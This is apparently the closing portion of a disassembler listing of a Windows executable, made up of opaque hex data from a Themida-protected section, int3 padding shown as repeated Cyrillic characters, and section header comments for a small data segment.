dd 0E951FC61h, 10h, 0F11C926Ah, 1F8A6A03h, 82350470h, 1EDC5713h dd 0DF8B6658h, 840Fh, 8B660000h, 4890FFAh, 66000000h, 0F617FBAh dd 389h, 0F0BF0F00h, 0EE8h, 2E896900h, 906F9157h, 0B2FEDA40h dd 5FAFE35Bh, 66F2C280h, 8B6541BAh, 59F956D9h, 11840Fh dd 0CE90000h, 0B4000000h, 3D38542Eh, 831B8121h, 667FFFC5h dd 0FDDD981h, 31F08166h, 0F0B70F32h, 0BE9h, 4AB05400h dd 4C91E2D6h, 7BBF89E8h, 148B0Fh, 0E9600000h, 0Bh, 66B2AB22h dd 95F45BADh, 51265617h, 0D981615Ah, 1A02AD2Bh, 0F9F28B66h dd 0FDEC80FCh, 8870Fh, 840F0000h, 2, 800FCB8Bh, 2, 0E0819DB0h dd 1E3871CAh, 0CBE28166h, 0BA665180h, 0F5EB68Eh, 1C84h dd 12E800h, 57780000h, 0A032C32Bh, 6FD42942h, 27525CDDh dd 79ADAC37h, 8716BE66h, 10E95Ah, 0A70A0000h, 0DF267DACh dd 1D9400E2h, 70C99B39h, 0CCBF0D0Eh, 8B4AA40Ch, 0BB66F8F1h dd 6E85587h, 18000000h, 8E456AE4h, 665FF93Eh, 0F0403BEh dd 682h, 6BF68100h, 605FBD93h, 36FCBA66h, 6661D18Bh, 9659E781h dd 0C1B445B4h, 14E9h, 5FEE5B00h, 8691FCECh, 4A9CDC5Dh dd 3E442A1Ah, 45CC0A4Eh, 8B0FFCB0h, 4, 0C524B966h, 0EE9h dd 368A6B00h, 0D3E0D1E7h, 6561FE7Bh, 0FC931940h, 0C0EC80F8h dd 0E820Fh, 7E80000h, 18000000h, 3065116Fh, 59F80883h dd 0F88BC0B0h, 63D88166h, 6653602Ah, 2786D881h, 0C2F2815Ah dd 614B48B5h, 91E0B866h, 0BDDE8166h, 12E8C0h, 59C0000h dd 93BB7F78h, 0E35A9CCCh, 1A962ADCh, 811611AEh, 0F859F98Bh dd 0AEB8166h, 9E962h, 86F80000h, 63FDCC6h, 511DEF3Dh, 0C6816660h dd 5F61D577h, 0E379E281h, 0E38102D0h, 7D2C31E6h, 66DE8BFCh dd 0E8E60BB8h, 9, 0DAEA4A0Ch, 0A1EEC590h, 58B0F9Eh, 0BE000000h dd 1FCE9ED3h, 0A7B9665Ah, 0D3816646h, 0A8BAD7B9h, 661167CAh dd 0B006D1B9h, 0E981F594h, 615BC4Eh, 0FC38B66h, 8166C9BFh dd 0BB617DC2h, 7D08AA92h, 0FD2BF0Fh, 8B57F3B7h, 43B958CFh dd 0F68A032h, 88Dh, 810F5200h, 0 dd 14E95Bh, 8CC20000h, 7533DC1Ah, 0C8478940h, 0A0B2C4Eh dd 34455887h, 7E8E565h, 0B0000000h, 0D7684328h, 60504F69h dd 665B5861h, 12E9C78Bh, 9F000000h, 1110EFBAh, 0A8132D00h dd 5402CA3Eh, 707CD6BCh, 7E9FBh, 97310000h, 87A43C23h dd 0CFBA66C2h, 0AADE80A1h, 48F0Fh, 0BE660000h, 81660384h dd 0FB565DBh, 28Ah, 56595300h, 0E95ACE8Bh, 13h, 596A70A5h dd 0AF24355Eh, 754363C5h, 32BD71D0h, 0E93552EAh, 0Ah, 99FF4FC1h dd 0D2D984F2h, 576023F0h, 7E8h, 0EE683400h, 10C829CEh dd 56615B5Bh, 665A5CB2h, 20D1EB81h, 8B605FB2h, 0E961FCF2h dd 0Ah, 5638E797h, 0BCBDE331h, 8A0F40E9h, 0Ch, 68D0Fh dd 850F0000h, 0 dd 18D0Fh, 0FF80000h, 380h, 0F3BF0F00h, 0AE8h, 43045600h dd 0FA729CA4h, 66DB615Ch, 60E8CF81h, 81C28B5Fh, 0D4223FEAh dd 0CE85Fh, 4A8A0000h, 69164998h, 97880758h, 0CB8B59E0h dd 0CE816659h, 0F28B9EBCh, 0CE9h, 4D0F8700h, 7C31D9C5h dd 9C010A35h, 0DE816679h, 81667EB1h, 81F079D7h, 12D360E0h dd 0E999B621h, 14h, 0D18ABC08h, 0E0CEE74Dh, 655F3D36h dd 4AD9CCBEh, 0C24DBAB5h, 48F0Fh, 0B8660000h, 13E9FCDDh dd 0C0000000h, 1DCD14CAh, 5829BEB8h, 4CDDDFC7h, 2A9AC574h dd 0CE968C4h, 0AE000000h, 8288ACC4h, 66169C68h, 812E8449h dd 0ACFDDCCAh, 81665772h, 595384DFh, 37E0C4BFh, 3840F01h dd 0F000000h, 66F8D6BFh, 9E9F18Bh, 6B000000h, 0BB227627h dd 0E6029C14h, 0BE9FCh, 0FFE10000h, 72970A7Bh, 7A1D0713h dd 0C6BA660Eh, 0C681663Ch, 0B70FCEA9h, 0D78B56F1h, 0BDB86658h dd 6E95Eh, 7CA80000h, 48C73BC2h, 11830Fh, 860F0000h, 0Bh dd 5E8h, 0FA1ABA00h, 0F58E034h, 158Eh, 0DE800h, 8640000h dd 171CB81Bh, 52E3D057h, 5618DED4h, 8B665F5Eh, 0E8E9B3DEh dd 10h, 28BB66A8h, 0AE7B23A4h, 0F6BFAEA0h, 0E040D678h dd 8CC38166h, 0D0805E83h, 0F28166D8h, 0D8BE72D3h, 8A29506Dh dd 8E9F0h, 0B1580000h, 7877B49Eh, 8E0F00A1h, 0Dh, 5E8h dd 0CCF0F500h, 0F28BA0CBh, 0C38B6658h, 0BE9h, 0AC862E00h dd 0A09E05D2h, 9374723Eh, 0B97287BEh, 7BB86656h, 0BE8D4h dd 8B130000h, 4234AC90h, 48352AF5h, 7E91Dh, 0DB80000h dd 4845D4AFh, 10E95B0Dh, 73000000h, 5F44D163h, 0D3BF7162h dd 0D0ACAC28h, 0E82FAFAEh, 0Ah, 0AE167447h, 0B621F815h dd 0AE80B13h, 36000000h, 0F9E59928h, 0B34E19E5h, 9E81Dh dd 55DC0000h, 0A5E3D967h, 5EF59743h, 6E8595Bh, 0BA000000h dd 0C83D4961h, 8BD9BF24h, 0F55E3F3Dh, 0C281D18Bh, 5BD45D24h dd 12E9h, 75576200h, 57718A5Ch, 0CA9E4FFAh, 69AE62h, 6685FA15h dd 0FFE39B8h, 1B87h, 158E0F00h, 0E9000000h, 10h, 1603FD59h dd 0FB8B0C73h, 0C246E524h, 0C33FBFADh, 47E560B9h, 0D08B604Bh dd 13830Fh, 0DE80000h, 0F8000000h, 391E3A2Ah, 66A23A66h dd 3790FC5Dh, 850F615Eh, 0 dd 2498C981h, 81667D45h, 564EC1E8h, 59F3BF0Fh, 1E810Fh dd 14E80000h, 4000000h, 0EA9DDAAh, 8B6DB9A4h, 839985Ah dd 35D94156h, 66E1CF45h, 580266BFh, 1A8C0Fh, 11E80000h dd 20000000h, 1C870E0Ah, 0DD1830D4h, 518213DFh, 0F64D264Bh dd 58C1BF0Fh, 58A2E381h, 8A0F55DAh, 1, 6659B9F9h, 66520465h dd 3734EE81h, 0D081665Ah, 0BA66AE44h, 0E3815DDBh, 16737266h dd 2375BB60h, 5E939C3h, 91000000h, 0A1D80A52h, 0F08B6661h dd 5E956h, 0CE5F0000h, 5EECD508h, 8E0F60h, 0BF000000h dd 7A00B959h, 158F0F61h, 57000000h, 0DE8h, 89B51300h, 117713A2h dd 0AB38D5Dh, 5E58B2BFh, 118A0Fh, 0CE90000h, 3000000h dd 0B44A7E80h, 0DC969443h, 0BF16CDAFh, 0CBCBF4Dh, 0FEBCA80h dd 78Ah, 1840F00h, 0FC000000h, 6E8h, 97C8500h, 5AFA1969h dd 8B666060h, 59E080CBh, 0C6BF0F61h, 0C2BF0F61h, 7A2CCA81h dd 0F4803389h, 10BE661Eh, 0F860F81h, 0E9000000h, 0Ah, 0AC5E479h dd 321DCF31h, 0DE9F78Ah, 0F6000000h, 0F5AE3683h, 0F2DC0B2Eh dd 0DB8F6EE9h, 86E0BB66h, 0DF8B66F5h, 8DCF8160h, 57050606h dd 850Fh, 61580000h, 0C66BCF81h, 0FF503CFh, 1A83h, 11E96000h dd 2A000000h, 0EFE802D6h, 4AB4735Eh, 0E79EA282h, 0E2399209h dd 81615951h, 0F54287D8h, 3840F5Fh, 0F000000h, 8D0FF1B7h dd 15h, 10E9h, 92C12E00h, 0C58E9AA1h, 25CE921Ch, 0D7D8409Eh dd 5E8D9h, 0E33C0000h, 0FE2B69Eh, 82h, 11E95E00h, 0B4000000h dd 668F43DDh, 80E576A0h, 84B4D580h, 7DB4CCABh, 0DDB9D08Bh dd 60599BA0h, 8AC28B66h, 0F6061F7h, 8B61F7BFh, 0C9B350D0h dd 6660F859h, 0C18BDE8Bh, 8E861h, 0F0C70000h, 0DE27C38Eh dd 5BF5FDC9h, 0FB8B6660h, 61C2BF0Fh, 0EE9h, 27D1C400h dd 1E32498Ch, 3CC5EEA1h, 66360766h, 17A3E081h, 14E8h, 2617A500h dd 45718891h, 188EF743h, 0FF6AE6DBh, 0F545FB4Ah, 0D9BF0F93h dd 0C88B6659h, 0D1BF0F50h, 38A0F5Ah, 60000000h, 0AE961F9h dd 3D000000h, 4BB669BCh, 79E2AEADh, 0FABF0F2Bh, 0A880Fh dd 5E90000h, 63000000h, 0E667CCCCh, 168C0Fh, 0BE80000h dd 92000000h, 0C2979A10h, 0DFA00514h, 81662B7Ch, 5E021CDAh dd 42B96656h, 5E95BB9h, 0D0000000h, 2C04F942h, 0DE9h, 0B9FCD400h dd 0AA065255h, 39266FF7h, 80F98C9Eh, 0D7B669CCh, 35F78166h dd 0FFBF0FCBh, 5E9FE8Ah, 2A000000h, 108923D2h, 41CF8166h dd 0DB48B852h, 800F73DCh, 0Ch, 6810Fh, 0CA810000h, 6D6DB49Ah dd 5E957h, 23410000h, 5A9E97C6h, 0F98BFA8Ah, 142D19BBh dd 5800F35h, 0B8000000h, 53B091F8h, 14E9h, 3FBC8B00h, 55E30926h dd 0C59C4DC4h, 8161C232h, 0EB8EE85Bh, 0EDE98167h, 0E93FF18Eh dd 12h, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h, 14E9793Dh dd 0B2000000h, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch dd 666A4213h, 9700E981h, 561ABA66h, 10E860h, 0A5B0000h dd 0DA45FE77h, 3D0D86C1h, 691579E4h, 0E0818D9Dh, 417BC2Ch dd 0C3BF0F5Bh, 0DE8F561h, 8E000000h, 2A894D8Bh, 0D736DD1h dd 3F244548h, 0CE853h, 81780000h, 67DFD10Ch, 11A55943h dd 5A5910C3h, 0C880F5Fh, 0F000000h, 686h, 810F00h, 0E9000000h dd 11h, 0E0845BDDh, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh, 0CF81660Fh dd 14E9A1B1h, 0C3000000h, 36700196h, 9B89E8Dh, 0F018ED9Dh dd 0B1B3A269h, 0F833567h, 686h, 40DE8100h, 66309D21h, 0E8F73DBFh dd 0Ch, 14354EC3h, 157B8026h, 1CB31F83h, 28B0Fh, 5A570000h dd 17880F59h, 0E8000000h, 0Fh, 0AE6FB3Dh, 0F0048D14h, 3FF10025h dd 8A2CB905h, 11E959FAh, 0B3000000h, 301F4AEBh, 6FD3D4FDh dd 0FD216162h, 0A79B1F1Bh, 66C38B66h, 0B74F4FBBh, 11E9D5h dd 0CDC30000h, 0BF208762h, 1EE68748h, 3CD7450Dh, 0B7964918h dd 0BBF18B51h, 4CA91923h, 5810Fh, 81660000h, 0BF0D34F3h dd 23B21319h, 2A800Fh, 0E9600000h, 12h, 4FE1A619h, 716AF1Fh dd 37C39EE6h, 0CF444D8h, 0BE822DAh, 3000000h, 93E2B8F1h dd 4461CFC5h, 615B8D6Fh, 0FCA8B66h, 98Fh, 3890F00h, 0F000000h dd 0B866F0B7h, 9E9CA99h, 51000000h, 637899A5h, 97B4FE04h dd 14E8h, 121F9C00h, 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h dd 0C14A6DFEh, 5AF98A16h, 60FCDA8Bh, 0FADD480h, 0E8Dh dd 9E900h, 2200000h, 0E7BC342h, 611067E6h, 18F0Fh, 66F90000h dd 0FCEDCBBh, 285h, 50FA8B00h, 5FF18A51h, 14E85Bh, 0DB2B0000h dd 0C784504Bh, 78630C4Bh, 6134E13Dh, 630B7343h, 5AF504A9h dd 0FE9h, 9DF6CA00h, 8A8F1724h, 37766282h, 89FED335h, 0D25ABA66h dd 9940E6BFh, 0FE8B6677h, 88A0Fh, 0F520000h, 8Fh, 6EBE5B00h dd 0F51AE6Bh, 68Fh, 0C6F78100h, 0B93F2A5Bh, 7E465D7Ch dd 0C870Fh, 7E90000h, 64000000h, 4A70C56Ah, 0BE667A96h dd 8166E9A6h, 661772E6h, 9B1CDA81h, 66F88B66h, 3C33E781h dd 0CE8F9F5h, 0A4000000h, 637F70C0h, 1247837Dh, 8AFA0048h dd 0E2815EE6h, 7A90FA06h, 59DBBF66h, 0EB81E88Ah, 15439258h dd 0EE960h, 232F0000h, 0C4325F54h, 0D215A830h, 2D4E2BB4h dd 0EB8061FCh, 0DA816625h, 81667622h, 80FC6CF2h, 80529EDEh dd 8B5A9BD6h, 4860FC7h, 52000000h, 0E85A79B1h, 0Ch, 1DFEFF3Eh dd 44830CEBh, 2658D2B1h, 0FE381FB8h, 0B8665A1Ah, 0BF663A95h dd 840FF505h, 15h, 10E9h, 0C8209A00h, 9A55B151h, 8987715Ah dd 0E6C6404Ch, 0FE82Fh, 0F3560000h, 0E3EFA302h, 5C58163h dd 0BF37B0F7h, 5759F959h, 13E950h, 273D0000h, 6D7F9AE8h dd 1E559D01h, 26D4BA62h, 6ECBE2C0h, 0F585B19h, 288h, 0FCF58A00h dd 7E9EE8Ah, 0D4000000h, 7EDE82EEh, 0D18BEB18h, 12E9E0B5h dd 53000000h, 8C97D4D1h, 59D75859h, 514DE381h, 0B1F030DCh dd 0DE926h, 913D0000h, 96447F5h, 83381h, 66AAEABAh, 6962D681h dd 11E9h, 52735C00h, 5118F04h, 0E538EC5Bh, 6FAA2E12h, 7E958D3h dd 0FB000000h, 0A20D7DFDh, 6E848EFh, 84000000h, 6420A6A6h dd 8E0F6040h, 0 dd 880Fh, 5B610000h, 66DA8B66h, 4AC7E781h, 8A21EC80h, 68A0FDAh dd 81000000h, 906D7CE3h, 0BB66605Ah, 8B66B48Ah, 816661C2h dd 0BB0856C0h, 70752CA6h, 12E9F8h, 51860000h, 0A4FDC047h dd 164D46A6h, 700C6AD5h, 0F16911EBh, 0D870Fh, 8E90000h dd 0FF000000h, 54D520BDh, 81CF2579h, 0B22E0ECBh, 0C7BF0F17h dd 56D0BF0Fh, 84FCD181h, 0FC5B0219h, 0FF891B1h, 583h, 0FE73B900h dd 0FE80429h, 0FA000000h, 73B7BD14h, 7FB11B5Fh, 0CEDCA7FAh dd 8A600A0Fh, 0FC5B61D9h, 8E9E38Ah, 35000000h, 32B12447h dd 0E902AC16h, 0Ah, 9D700EBDh, 0B426100Eh, 816620DFh, 0F0255DAh dd 0F781FAB7h, 62C0ABBh, 0A47B966h, 188A0Fh, 8E0F0000h dd 12h, 0DE9h, 6F34B700h, 0EE8650BDh, 0D66547DCh, 0BCBE102Bh dd 0E977EFBDh, 5, 6AACBEC5h, 0AFB866FDh, 8166FC74h, 0F9BF0FEAh dd 0FD8BF0Fh, 85BBD3BFh, 0F1184A7h, 8Ah, 0E9CF8B00h, 0Ah dd 46C9A95Eh, 7FC2583Eh, 0FFC2A85h, 483h, 0D9B86600h, 8E950F6h dd 0A4000000h, 10C7D3ECh, 5AA96979h, 8A5FF957h, 2BE880FCh dd 1ED68166h, 81CB8B21h, 0F92FC3D1h, 0DBB70F6Bh, 8BC1EF80h dd 6D73BBF7h, 0CF8160D8h, 719AB93h, 0AE9h, 0D8865200h dd 9F5D9B2Dh, 0F48B13Ah, 8E9DFBFh, 77000000h, 6F0364F1h dd 0BE0AE012h, 6EB4C01Bh, 85F28166h, 0AE81Bh, 0DEFB0000h dd 7D2A0D75h, 7094B5C4h, 2471E381h, 0F5E0A18h, 28Ch, 0E85E5300h dd 14h, 40ABA8F6h, 4DED302Fh, 0A506F7ABh, 84CD8588h, 0E0D65862h dd 59C0BF0Fh, 5820Fh, 80510000h, 665FFFEBh, 81AE44BAh dd 93C83CBh, 13E80Eh, 0B6E00000h, 9F0C074Ch, 78A008D3h dd 3F6C3AD0h, 0B997D716h, 0AE92Eh, 24B40000h, 44C8D4Ch dd 0C29FB551h, 60D08B59h, 53DAD981h, 8E95806h, 0FE000000h dd 0E1355DC9h, 61C9ADBCh, 7E9h, 57C56B00h, 5490E3EEh, 7E26D381h dd 0EA810338h, 33459FBCh, 0B94DE880h, 293B0AA5h, 0BE8h dd 0A7020F00h, 0B1D83A94h, 0A537E61Eh, 6E9h, 67773900h dd 5873732Bh, 1D39D5B6h, 140h dup(1D39D5B7h), 4EDh dup(0F5DB963Fh) dd 0A753963Fh, 12Ah dup(0A7537B1Ch), 0F424FCDh, 0E0h dup(0F424FCAh) dd 26058BCAh, 11Dh dup(26058B73h), 0CC058B73h, 839h dup(0CCCCCCCCh) asc_5BE968 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:0054D5CAo db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001C0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C0000h dd 9 dup(0) dword_5C0024 dd 0Eh dup(0) ; DATA XREF: ___:00432844o dword_5C005C dd 69h dup(0) ; DATA XREF: ___:off_432998o align 1000h _idata2 ends end start